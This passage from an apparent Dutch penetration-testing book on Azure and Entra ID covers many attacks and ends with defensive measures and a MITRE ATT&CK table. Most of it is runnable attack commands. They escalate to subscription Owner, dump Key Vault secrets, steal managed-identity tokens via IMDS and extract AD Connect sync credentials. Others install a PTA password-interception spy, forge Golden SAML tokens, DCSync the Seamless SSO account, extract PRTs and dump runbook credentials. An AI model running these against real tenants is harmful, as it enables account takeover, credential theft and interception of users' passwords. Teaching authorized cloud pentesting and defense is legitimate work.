Microsoft.KeyVault/vaults/secrets/getSecret/action Secrets lezen uit Key Vaults
Microsoft.Storage/storageAccounts/listkeys/action Storage account keys ophalen
Microsoft.Web/sites/publishxml/action Publish credentials van App Services
Microsoft.Compute/virtualMachines/extensions/write Extensions installeren op VMs
# Zoek naar custom roles met gevaarlijke permissions
az role definition list --custom-role-only true --query "[].{Name:roleName,Actions:permissions[0].actions}" -o json | \
    python3 -c "
import sys,json
roles = json.load(sys.stdin)
dangerous = ['roleAssignments/write', '*/write', 'runCommand', 'listkeys', 'getSecret']
for r in roles:
    for action in r.get('Actions', []):
        if any(d in action for d in dangerous):
            print(f\"[!] {r['Name']}: {action}\")
"

4.5.3 Subscription-Level Privilege Escalation

De meest directe escalatie: als je Microsoft.Authorization/roleAssignments/write hebt op subscription-scope, kun je jezelf Owner maken.

# Stap 1: Controleer of je roleAssignments mag schrijven
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --all --query "[?roleDefinitionName=='User Access Administrator' || roleDefinitionName=='Owner']" -o table

# Stap 2: Maak jezelf Owner (als je User Access Administrator bent)
az role assignment create \
    --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --role "Owner" \
    --scope "/subscriptions/SUBSCRIPTION_ID"

# Stap 3: Verifieer
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --role "Owner" --all -o table

4.5.4 Resource Group Escalatie

Rechten op een resource group geven impliciet rechten op alle resources erin. Als je Contributor bent op een resource group die een Key Vault bevat, kun je de access policies van die Key Vault wijzigen om jezelf leesrechten te geven.

# Resources in een resource group
az resource list --resource-group "TARGET_RG" --output table

# Als je Contributor bent op de RG die een Key Vault bevat:
# Stap 1: Voeg jezelf toe aan de Key Vault access policy
az keyvault set-policy \
    --name "vault-naam" \
    --upn "jouw@email.com" \
    --secret-permissions get list \
    --key-permissions get list \
    --certificate-permissions get list

# Stap 2: Lees de secrets (zie sectie 4.7)
az keyvault secret list --vault-name "vault-naam" -o table

4.6 Managed Identity Exploitation

4.6.1 De Onzichtbare Sleutel

Managed Identities zijn Azure’s oplossing voor “credentials in code.” Het idee is simpel: in plaats van een wachtwoord of API-key in een configuratiebestand of environment variable te plaatsen, wijst Azure automatisch een identiteit toe aan een compute resource. Die resource kan dan tokens aanvragen bij Azure AD zonder credentials.

Het is een goed idee. Het is zelfs een best practice. Het probleem is dat “geen credentials nodig” ook geldt voor een aanvaller die command execution heeft op die resource.

4.6.2 Het IMDS Endpoint

De Instance Metadata Service (IMDS) is bereikbaar op 169.254.169.254 — een link-local adres dat alleen beschikbaar is vanuit de Azure resource zelf. Het biedt metadata over de VM en, cruciaal, de mogelijkheid om tokens op te vragen voor de Managed Identity.

# Token opvragen voor Azure Resource Manager
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
    python3 -m json.tool

# Token opvragen voor Microsoft Graph
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | \
    python3 -m json.tool

# Token opvragen voor Key Vault
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | \
    python3 -m json.tool

# Token opvragen voor Azure Storage
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | \
    python3 -m json.tool

Het Metadata: true header is de enige “beveiliging” — het voorkomt dat SSRF-aanvallen vanuit de browser het endpoint bereiken (browsers sturen die header niet standaard). Maar vanuit een command shell? Geen probleem.

4.6.3 Azure VM Token Theft

Scenario: je hebt command execution op een Azure VM (via een webapplicatie-exploit, gestolen SSH-key, of compromised credentials). De VM heeft een Managed Identity.

# Stap 1: Controleer of er een Managed Identity is
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(json.dumps(d.get('compute',{}).get('azEnvironment',''), indent=2))"

# Stap 2: Verkrijg een token
TOKEN=$(curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
    python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Stap 3: Gebruik het token om te enumereren
# Welke subscriptions kan deze identity bereiken?
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2020-01-01" | \
    python3 -m json.tool

# Welke resources?
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01" | \
    python3 -m json.tool

# Welke role assignments heeft deze identity?
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId eq 'IDENTITY_OBJECT_ID'" | \
    python3 -m json.tool

4.6.4 App Service Identity

Azure App Services (web apps, API apps, function apps) ondersteunen ook Managed Identities, maar het IMDS-endpoint is iets anders:

# App Service gebruikt een environment variable voor het endpoint
echo $IDENTITY_ENDPOINT
echo $IDENTITY_HEADER

# Token opvragen in een App Service
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
    "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" | \
    python3 -m json.tool

# Graph token
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
    "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://graph.microsoft.com/" | \
    python3 -m json.tool

4.6.5 Azure Functions Identity

Azure Functions gebruiken hetzelfde mechanisme als App Services. Als je code execution hebt in een Function (via event injection, een kwetsbare dependency, of directe toegang):

# Zelfde als App Service
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
    "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" | \
    python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Functies hebben vaak brede permissions voor hun taken
# Controleer wat je kunt doen
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2020-01-01" | \
    python3 -m json.tool

IB Tip: Managed Identity tokens hebben een standaard levensduur van 8-24 uur. Als je een token hebt verkregen, bewaar het — je kunt het herhaaldelijk gebruiken vanaf je eigen machine totdat het verloopt. Azure ziet het token als afkomstig van de Managed Identity, niet van jouw IP.

4.6.6 Van Managed Identity naar Lateral Movement

Het echte gevaar van Managed Identity-misbruik is niet het token zelf, maar wat je ermee kunt doen:

# Met een ARM token: command execution op andere VMs
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Compute/virtualMachines/TARGET_VM/runCommand?api-version=2023-03-01" \
    -d '{
        "commandId": "RunShellScript",
        "script": ["whoami; id; cat /etc/hostname"]
    }'

# Met een Graph token: directory enumeratie
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/users?\$top=50" | \
    python3 -m json.tool

# Met een Key Vault token: secrets lezen
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | \
    python3 -m json.tool

Het patroon is altijd hetzelfde: compromitteer een resource, steel het Managed Identity-token, en gebruik dat token om lateraal te bewegen naar andere resources. Het is Pass-the-Hash voor de cloud.


4.7 Key Vault Aanvallen

4.7.1 De Digitale Kluis

Azure Key Vault is waar organisaties hun geheimen bewaren: API-keys, connection strings, certificaten, encryptiesleutels. Het is de kluis van de bank. En net als bij een echte bank geldt: de kluis is zo veilig als de personen die de sleutel hebben.

4.7.2 Key Vault Enumeratie

# Alle Key Vaults in je subscriptions
az keyvault list --output table

# Details van een specifieke vault
az keyvault show --name "vault-naam" --output json

# Access policies bekijken (wie mag wat?)
az keyvault show --name "vault-naam" \
    --query "properties.accessPolicies[].{ObjectId:objectId,Permissions:permissions}" -o json

# Of, als de vault RBAC gebruikt in plaats van access policies:
az role assignment list --scope "/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.KeyVault/vaults/vault-naam" -o table

4.7.3 Access Policies versus RBAC

Key Vault ondersteunt twee autorisatiemodellen:

Model Beschrijving Pentest-relevantie
Access Policies Vault-specifieke permissions per principal Vaak te breed geconfigureerd
Azure RBAC Standaard Azure role assignments Erft van resource group/subscription

Het verschil is belangrijk. Bij access policies moet je expliciet worden toegevoegd aan de vault. Bij RBAC kan een Contributor op de resource group zichzelf toegang geven door een role assignment te creëren.

4.7.4 Secret, Key en Certificate Extraction

# Secrets opsommen
az keyvault secret list --vault-name "vault-naam" --output table

# Een secret ophalen
az keyvault secret show --vault-name "vault-naam" --name "secret-naam" --query value -o tsv

# Alle secrets ophalen (een voor een)
for secret in $(az keyvault secret list --vault-name "vault-naam" --query "[].name" -o tsv); do
    echo "=== $secret ==="
    az keyvault secret show --vault-name "vault-naam" --name "$secret" --query value -o tsv
    echo
done

# Keys opsommen
az keyvault key list --vault-name "vault-naam" --output table

# Certificaten opsommen
az keyvault certificate list --vault-name "vault-naam" --output table

# Certificate met private key downloaden
az keyvault secret show --vault-name "vault-naam" --name "cert-naam" --query value -o tsv | \
    base64 -d > cert.pfx

De secrets in een Key Vault zijn vaak de kroonjuwelen: database connection strings, API-keys voor externe diensten, service account-wachtwoorden, TLS-certificaten met private keys.

Let op: Key Vault access wordt gelogd in Azure Diagnostic Logs (als deze zijn ingeschakeld). Elke get operatie op een secret genereert een audit event. In een volwassen omgeving wordt dit gemonitord. Wees selectief in wat je ophaalt en documenteer alles voor je rapport.

4.7.5 Soft-Delete en Purge Protection

Verwijderde Key Vault-items worden standaard 90 dagen bewaard (soft-delete). Soms bevatten verwijderde secrets waardevolle informatie die de organisatie “verwijderd” denkt te hebben.

# Verwijderde secrets bekijken
az keyvault secret list-deleted --vault-name "vault-naam" --output table

# Verwijderd secret ophalen
az keyvault secret show-deleted --vault-name "vault-naam" --name "oud-secret" --query value -o tsv

# Verwijderde vaults in de subscription
az keyvault list-deleted --output table

Niemand denkt aan soft-deleted secrets. Het is alsof je je dagboek verscheurt en in de prullenbak gooit, maar vergeet dat de prullenbak pas over drie maanden wordt geleegd. En de schoonmaker kan lezen.


4.8 Azure AD Connect

4.8.1 De Brug Tussen Twee Werelden

Azure AD Connect is het synchronisatiemechanisme tussen on-premises Active Directory en Entra ID. Het is de brug die de twee werelden verbindt, en bruggen zijn altijd interessante punten voor aanvallers — ze zijn smal, onvermijdelijk, en het verkeer erop is waardevol.

Er zijn drie synchronisatiemethoden:

Methode Beschrijving Aanvalspotentieel
Password Hash Sync (PHS) Wachtwoord-hashes worden gesynchroniseerd naar Azure AD Credential theft van het sync-account
Pass-through Authentication (PTA) Authenticatie wordt doorgestuurd naar on-prem DC Man-in-the-middle op de PTA-agent
Federation (ADFS) SAML-tokens via een on-prem ADFS-server Token signing certificate theft

4.8.2 Password Hash Sync Abuse

PHS is de meest voorkomende methode. Een service account op de on-premises DC (de Azure AD Connect-server) heeft replicatie-rechten — het kan wachtwoord-hashes ophalen via een mechanisme vergelijkbaar met DCSync. Die hashes worden vervolgens gesynchroniseerd naar Entra ID.

Het Azure AD Connect-service account is een high-value target:

# Op de Azure AD Connect server:

# Stap 1: Identificeer de sync server
# (vaak een standalone server met de naam AADC, SYNC, of CONNECT)

# Stap 2: Credentials extraheren met AADInternals
Install-Module AADInternals
Import-Module AADInternals

# Sync credentials ophalen (vereist local admin op de AADC-server)
Get-AADIntSyncCredentials
[+] Sync Account:
    Username: Sync_SERVER_abc123@domain.onmicrosoft.com
    Password: <base64-encoded>
    Domain:   domain.onmicrosoft.com

[+] AD DS Account:
    Username: MSOL_abc123def456
    Password: <cleartext password>
    Domain:   domain.local

Dat MSOL_-account heeft Directory Replication rechten op de on-premises AD. Met dat account kun je een DCSync uitvoeren:

# DCSync met het MSOL-account
impacket-secretsdump 'domain.local/MSOL_abc123def456:PASSWORD@DC_IP'

En het Sync-account heeft rechten om wachtwoorden te resetten in Entra ID. Dat maakt het een brug in twee richtingen: van cloud naar on-prem (via DCSync) en van on-prem naar cloud (via password reset).

4.8.3 Pass-through Authentication Abuse

PTA werkt anders: in plaats van hashes te synchroniseren, wordt elke cloud-authenticatie doorgestuurd naar een on-premises PTA-agent die het wachtwoord valideert tegen de lokale AD.

Het probleem: als je de PTA-agent comprimitteert, kun je alle authenticaties onderscheppen:

# Op de PTA-agent server (vereist local admin):
Install-Module AADInternals
Import-Module AADInternals

# PTA-agent backdoor installeren
# DIT INTERCEPTEERT ALLE WACHTWOORDEN
Install-AADIntPTASpy

# Wachtwoorden lezen
Get-AADIntPTASpyLog

Dit is een van de krachtigste posities die een aanvaller kan hebben: elke cloud-login wordt in cleartext gelogd. Elke. Login.

Let op: Een PTA-spy is een ingrijpende techniek. Het intercepteert productie-authenticatie. Gebruik dit alleen in een geautoriseerde pentest met expliciete toestemming voor dit type aanval, en documenteer precies wat je doet. Verwijder de spy onmiddellijk na het bewijs.

4.8.4 Federation Abuse

Bij federation (ADFS) authenticeren gebruikers via een on-premises ADFS-server die SAML-tokens uitgeeft. Als je het token signing certificate van de ADFS-server kunt stelen, kun je SAML-tokens forgen voor elke gebruiker — inclusief Global Admins. Dit is de “Golden SAML” aanval.

# Op de ADFS-server (vereist local admin):
# Token signing certificate exporteren
# Methode 1: Via AADInternals
Export-AADIntADFSSigningCertificate

# Methode 2: Via ADFSDump
.\ADFSDump.exe

# Met het certificaat: Golden SAML genereren
# (Meestal via AADInternals of custom tooling)

Het verschil met een Golden Ticket in on-premises AD: een Golden SAML geeft je toegang tot de cloud-omgeving. En omdat het token on-premises wordt gemaakt, is er geen spoor in Entra ID van hoe de authenticatie heeft plaatsgevonden.


4.9 Automation en Runbooks

4.9.1 De Robot-Afdeling

Azure Automation is Microsoft’s dienst voor het automatiseren van beheertaken. Denk aan: geplande scripts die VM’s ’s avonds uitzetten, compliance-checks die dagelijks draaien, patching-runbooks die maandelijks worden uitgevoerd.

Vanuit pentest-perspectief zijn Automation Accounts interessant om drie redenen:

  1. Runbooks bevatten vaak credentials — hardcoded wachtwoorden, connection strings, API-keys
  2. Run As accounts (deprecated maar nog veel in gebruik) hebben vaak brede RBAC-rechten
  3. Hybrid Runbook Workers draaien on-premises met hoge privileges

4.9.2 Automation Account Enumeratie

# Automation Accounts vinden
az automation account list --output table

# Runbooks in een Automation Account
az automation runbook list \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" --output table

# Runbook content ophalen (de broncode!)
az automation runbook show-content \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "runbook-naam"

4.9.3 Runbook Secrets

Automation Accounts hebben een “Variables” en “Credentials” sectie waar gevoelige waarden worden opgeslagen:

# Variables ophalen
az rest --method GET \
    --uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/variables?api-version=2023-11-01" | \
    python3 -m json.tool

# Encrypted variables zijn alleen leesbaar vanuit een runbook
# Maar cleartext variables kun je direct lezen

# Credentials ophalen (alleen de username, niet het wachtwoord)
az rest --method GET \
    --uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/credentials?api-version=2023-11-01" | \
    python3 -m json.tool

Om de daadwerkelijke wachtwoorden uit credentials te halen, moet je een runbook uitvoeren dat ze leest:

# Maak een runbook dat credentials dumpt (vereist write-rechten op het Automation Account)
$RunbookContent = @'
$cred = Get-AutomationPSCredential -Name "ServiceAccount"
Write-Output "Username: $($cred.UserName)"
Write-Output "Password: $($cred.GetNetworkCredential().Password)"

$var = Get-AutomationVariable -Name "DatabaseConnectionString"
Write-Output "ConnectionString: $var"
'@
# Runbook aanmaken en uitvoeren via CLI
az automation runbook create \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook" \
    --type PowerShell

# Content uploaden
az automation runbook replace-content \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook" \
    --content "$RUNBOOK_CONTENT"

# Publiceren en starten
az automation runbook publish \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook"

az automation runbook start \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook"

4.9.4 Hybrid Workers

Hybrid Runbook Workers zijn on-premises machines die zijn gekoppeld aan een Azure Automation Account. Runbooks die op een Hybrid Worker draaien, draaien met de rechten van het lokale service account — vaak LocalSystem of een hoog-geprivilegieerd domain account.

Als je een runbook kunt maken en uitvoeren op een Hybrid Worker, heb je command execution op een on-premises machine met hoge privileges. Dit is een klassiek cloud-naar-on-prem lateral movement pad.

# Hybrid Worker Groups vinden
az rest --method GET \
    --uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/hybridRunbookWorkerGroups?api-version=2022-08-08" | \
    python3 -m json.tool

4.10 Storage Account Aanvallen

4.10.1 De Opslagplaats

Azure Storage Accounts zijn de bouwstenen van dataopslag in Azure: blobs (bestanden), queues (berichten), tables (NoSQL), en files (SMB shares). Ze bevatten vaak gevoelige data: backups, logs, uploads, exports, database dumps.

4.10.2 Storage Account Enumeratie

# Alle storage accounts
az storage account list --output table

# Containers in een storage account (public access check)
az storage container list --account-name "ACCOUNT_NAME" \
    --auth-mode login --output table

# Public blobs checken (geen authenticatie nodig)
curl -s "https://ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&comp=list" | \
    python3 -c "import sys; from xml.etree import ElementTree as ET; \
    tree = ET.parse(sys.stdin); [print(b.find('Name').text) for b in tree.findall('.//Blob')]"

# Blob inhoud downloaden
az storage blob download \
    --account-name "ACCOUNT_NAME" \
    --container-name "CONTAINER_NAME" \
    --name "bestand.txt" \
    --file ./bestand.txt \
    --auth-mode login

4.10.3 SAS Token Abuse

Shared Access Signatures (SAS) zijn tokens die tijdelijke, beperkte toegang geven tot storage resources. Ze worden als URL-parameters meegegeven:

https://account.blob.core.windows.net/container/file.txt?
    sv=2021-06-08&        # API versie
    ss=b&                  # Service (b=blob)
    srt=co&                # Resource type (c=container, o=object)
    sp=rwdlacx&            # Permissions (r=read, w=write, d=delete...)
    se=2027-01-01&         # Expiry
    st=2025-01-01&         # Start
    sig=SIGNATURE          # HMAC-SHA256 handtekening

Het probleem met SAS tokens:

  1. Ze zijn niet intrekbaar — er is geen manier om een SAS token te revowen behalve de storage account key te roteren (wat alle SAS tokens breekt)
  2. Ze staan vaak in broncode — hardcoded in configuratiebestanden, environment variables, git repositories
  3. De permissions zijn vaak te breedsp=rwdlacx is volledige controle
  4. De vervaldatum is vaak te ver weg — tokens die “voor het gemak” vijf jaar geldig zijn gemaakt
# Zoek naar SAS tokens in omgevingsvariabelen
env | grep -i "sig=" 2>/dev/null
env | grep -i "sas" 2>/dev/null

# Zoek in configuratiebestanden
find / -name "*.config" -o -name "*.json" -o -name "appsettings.*" 2>/dev/null | \
    xargs grep -l "sig=" 2>/dev/null

# Als je een SAS token hebt, test de permissions
# Download
curl -s "https://account.blob.core.windows.net/container/file.txt?SAS_TOKEN" -o file.txt

# Upload (als write-permissie is ingesteld)
curl -X PUT "https://account.blob.core.windows.net/container/evil.txt?SAS_TOKEN" \
    -H "x-ms-blob-type: BlockBlob" \
    -d "test data"

# List blobs
curl -s "https://account.blob.core.windows.net/container?restype=container&comp=list&SAS_TOKEN"

4.10.4 Shared Key Authentication

Elke storage account heeft twee access keys die volledige controle geven over alle data in het account. Deze keys worden niet geroteerd door een password policy en verlopen niet.

# Storage account keys ophalen (vereist listkeys permission)
az storage account keys list --account-name "ACCOUNT_NAME" --output table

# Met de key: alle containers opsommen
az storage container list --account-name "ACCOUNT_NAME" \
    --account-key "KEY" --output table

# Alle blobs in een container
az storage blob list --account-name "ACCOUNT_NAME" \
    --container-name "CONTAINER" \
    --account-key "KEY" --output table

# Blob downloaden
az storage blob download \
    --account-name "ACCOUNT_NAME" \
    --container-name "CONTAINER" \
    --name "gevoelig-bestand.bak" \
    --file ./gevoelig-bestand.bak \
    --account-key "KEY"

IB Tip: Storage account keys zijn het equivalent van het krbtgt-wachtwoord in on-premises AD — wie ze heeft, heeft alles. Documenteer in je rapport altijd of keys zijn geroteerd en of Shared Key-authenticatie is uitgeschakeld ten gunste van Entra ID (RBAC) authenticatie.

4.10.5 Public Blob Access

Ondanks jarenlange waarschuwingen staan er nog steeds storage accounts open op het internet. Microsoft heeft in 2023 de standaard gewijzigd naar “geen publieke toegang,” maar bestaande accounts behouden hun configuratie.

# Controleer of publieke blob-toegang is toegestaan
az storage account list --query "[].{Name:name,PublicAccess:allowBlobPublicAccess}" -o table

# Brute-force containernamen op een publiek storage account
for container in backup backups data files uploads logs exports dump database; do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://TARGET_ACCOUNT.blob.core.windows.net/$container?restype=container&comp=list")
    [ "$STATUS" -eq 200 ] && echo "[+] Public container: $container"
done

4.11 Hybrid Identity Paden

4.11.1 De Twee-Richtingssnelweg

In de meeste enterprise-omgevingen is er geen duidelijke grens tussen on-premises en cloud. Gebruikers bestaan in beide werelden. Credentials worden gesynchroniseerd. Rechten overlappen. Dit creëert aanvalspaden die in beide richtingen werken:

On-premises naar Cloud: - Azure AD Connect credentials → Cloud admin access - PTA agent compromise → Wachtwoord-interceptie - ADFS token signing certificate → Golden SAML - On-prem admin → Global Admin (via elevated access)

Cloud naar On-premises: - Cloud admin → Azure AD Connect password reset → DCSync - Intune admin → Code execution op managed devices - Hybrid Worker runbooks → On-prem command execution - Azure Arc → Code execution op connected servers

4.11.2 Seamless SSO Abuse

Azure AD Seamless SSO maakt het mogelijk om automatisch in te loggen op cloud-resources als je al bent ingelogd op een domain-joined machine. Het werkt via een computeraccount AZUREADSSOACC in on-premises AD.

Dit account heeft een Kerberos decryptie-key die wordt gebruikt om Kerberos-tickets voor Azure AD te verifiëren. Als je die key steelt, kun je tickets forgen voor elke gebruiker:

# Op een DC of met DCSync rechten:
# Dump de hash van het AZUREADSSOACC account
mimikatz # lsadump::dcsync /user:AZUREADSSOACC$ /domain:domain.local

# Of via Impacket
impacket-secretsdump 'domain.local/admin:Password@DC_IP' -just-dc-user 'AZUREADSSOACC$'

Met de NTLM-hash van AZUREADSSOACC$ kun je Silver Tickets maken die gelden voor Azure AD. Dit is in wezen een Golden Ticket voor de cloud.

4.11.3 PRT Extraction

Primary Refresh Tokens worden opgeslagen op Azure AD-joined en hybrid-joined devices. Met local admin access op zo’n device kun je het PRT extraheren:

# Met Mimikatz (vereist SYSTEM-rechten)
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap

# Met ROADtoken (minder invasief)
.\ROADtoken.exe

# PRT gebruiken met ROADtools
roadrecon auth --prt-cookie "EXTRACTED_PRT_COOKIE"
roadrecon gather

Een gestolen PRT met MFA-claims is bijzonder waardevol: het bypast MFA voor alle toekomstige authenticaties, omdat het token bewijst dat MFA al is uitgevoerd. Het is het verschil tussen een dagkaart voor het OV (je hoeft niet bij elke halte opnieuw in te checken) en een losse kaartje (elke keer betalen).

4.11.4 Escalatiepaden Samengevat

┌───────────────────────────────────────────────────────────────┐
│                    On-Premises AD                              │
│                                                               │
│  Domain Admin ──> Azure AD Connect ──> MSOL Account           │
│       │                  │                    │                │
│       │                  │                    ▼                │
│       │                  │           DCSync (alle hashes)      │
│       │                  │                                     │
│       │                  ▼                                     │
│       │          Sync Account ──────────────────┐              │
│       │                                          │              │
│       ▼                                          ▼              │
│  AZUREADSSOACC$ ──> Silver Ticket       Cloud Admin Access     │
│  (Seamless SSO)     voor Azure AD                              │
│                                                               │
│  ADFS Server ──> Token Signing Cert ──> Golden SAML           │
│                                                               │
└───────────────────────┬───────────────────────────────────────┘
                        │
                        ▼
┌───────────────────────────────────────────────────────────────┐
│                      Entra ID (Cloud)                          │
│                                                               │
│  Global Admin ──> elevateAccess ──> Owner alle subscriptions  │
│       │                                                       │
│       ├──> Intune ──> Code execution op managed devices       │
│       │                                                       │
│       ├──> Automation ──> Hybrid Workers ──> On-prem code exec│
│       │                                                       │
│       └──> Azure Arc ──> Connected servers ──> On-prem access │
│                                                               │
│  App Registration ──> Service Principal ──> RBAC abuse        │
│                                                               │
│  Managed Identity ──> Token theft ──> Lateral movement        │
│                                                               │
└───────────────────────────────────────────────────────────────┘

Verdedigingsmaatregelen

Conditional Access

Conditional Access is de belangrijkste verdedigingslaag in Entra ID. Een goed geconfigureerd Conditional Access-beleid maakt veel van de aanvallen in dit hoofdstuk onmogelijk of significant moeilijker.

Essentiële policies:

Policy Beschrijving Welke aanval het mitigeert
MFA voor alle gebruikers Vereist MFA voor elke authenticatie Password spraying
Block legacy auth Blokkeer IMAP, POP3, SMTP AUTH, etc. MFA bypass via legacy protocols
Block device code flow Blokkeer de device authorization flow Device code phishing
Require compliant device Alleen beheerde devices Token theft vanaf onbeheerde devices
Block risky sign-ins Blokkeer bij “high” risico-score Diverse
Named locations Beperk tot vertrouwde IP-ranges Brute force vanuit onbekende locaties
Require app protection Vereist Intune-managed apps Data exfiltratie via onbeheerde apps
# Audit: alle Conditional Access policies ophalen
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
    python3 -c "
import sys,json
policies = json.load(sys.stdin).get('value',[])
for p in policies:
    state = p.get('state','unknown')
    name = p.get('displayName','')
    print(f'[{state.upper():8}] {name}')
"

Privileged Identity Management (PIM)

PIM implementeert just-in-time privileged access: rollen zijn niet permanent toegewezen, maar moeten worden geactiveerd wanneer ze nodig zijn. Activering vereist een justificatie en kan MFA en goedkeuring vereisen.

PIM vermindert het aanvalsoppervlak door: - Minder permanent actieve Global Admins - Tijdgebonden rolactivering (max 8 uur standaard) - Audit trail van rolactivering - MFA-vereiste bij activering (zelfs als de sessie al MFA heeft)

Workload Identity Federation

Workload Identity Federation is de opvolger van client secrets voor app registrations. In plaats van een geheim dat gestolen kan worden, gebruikt het een federatieve vertrouwensrelatie met een externe identity provider. Geen secret, geen risk van secret leakage.

# Controleer of er nog apps zijn met client secrets (die zouden moeten migreren)
az ad app list --query "[?passwordCredentials[0]!=null].{App:displayName,Created:passwordCredentials[0].startDateTime,Expires:passwordCredentials[0].endDateTime}" -o table

Overige Aanbevelingen

Maatregel Beschrijving
Disable user consent Voorkom illicit consent grant attacks
Enable audit logging Azure AD sign-in logs + audit logs naar SIEM
Rotate storage keys Automatische rotatie via Key Vault
Disable public blob access Op subscription-level afdwingen
Monitor Managed Identity usage Anomaliedetectie op token-aanvragen
Azure AD Connect hardening Dedicated server, beperkte admin-toegang
PRT protection Token protection (Windows 11+)

Referentietabel

Onderwerp Techniek Tool MITRE ATT&CK Moeilijkheid
Tenant enumeratie Unauthenticated recon curl, browser T1589 (Gather Victim Identity Information) Laag
Directory enumeratie Authenticated user enum az cli, ROADtools, Graph API T1087.004 (Cloud Account Discovery) Laag
Password spraying Credential Access MSOLSpray T1110.003 (Password Spraying) Laag
MFA bypass (legacy auth) Legacy protocol abuse curl, Thunderbird T1078.004 (Cloud Accounts) Gemiddeld
Device code phishing OAuth device flow abuse Python, TokenTactics T1528 (Steal Application Access Token) Gemiddeld
Consent grant attack Illicit OAuth consent Custom app registration T1528 (Steal Application Access Token) Gemiddeld
Conditional Access bypass Policy gap exploitation roadrecon, Graph API T1078.004 (Cloud Accounts) Hoog
RBAC escalation Role assignment abuse az cli T1098.003 (Additional Cloud Roles) Gemiddeld
Custom role abuse Overprivileged custom roles az cli T1098.003 (Additional Cloud Roles) Gemiddeld
Managed Identity token theft IMDS token extraction curl T1552.005 (Cloud Instance Metadata API) Gemiddeld
Key Vault secrets Secret/key/cert extraction az cli T1552.001 (Credentials in Files) Gemiddeld
Storage account abuse SAS token / shared key az cli, curl T1530 (Data from Cloud Storage) Laag-Gemiddeld
Azure AD Connect (PHS) Sync credential extraction AADInternals T1003.006 (DCSync) Hoog
Azure AD Connect (PTA) Authentication interception AADInternals T1557 (Adversary-in-the-Middle) Hoog
Golden SAML ADFS cert theft + token forge ADFSDump, AADInternals T1606.002 (SAML Tokens) Hoog
Seamless SSO abuse AZUREADSSOACC$ hash theft Mimikatz, Impacket T1558.003 (Kerberoasting) Hoog
PRT extraction Primary Refresh Token theft Mimikatz, ROADtoken T1528 (Steal Application Access Token) Hoog
Automation runbook abuse Credential dump via runbook az cli T1078.004 (Cloud Accounts) Gemiddeld
Hybrid Worker exploitation On-prem code execution az cli T1059 (Command and Scripting Interpreter) Hoog
Global Admin escalation elevateAccess API az rest T1098.003 (Additional Cloud Roles) Laag (als je GA bent)

In het volgende hoofdstuk verlaten we de Azure-wereld en betreden we het territorium van Google — een plek waar alles draait om projecten, service accounts, en het onuitputtelijke vertrouwen dat Google heeft in zijn eigen infrastructuur. Spoiler: dat vertrouwen is niet altijd gerechtvaardigd.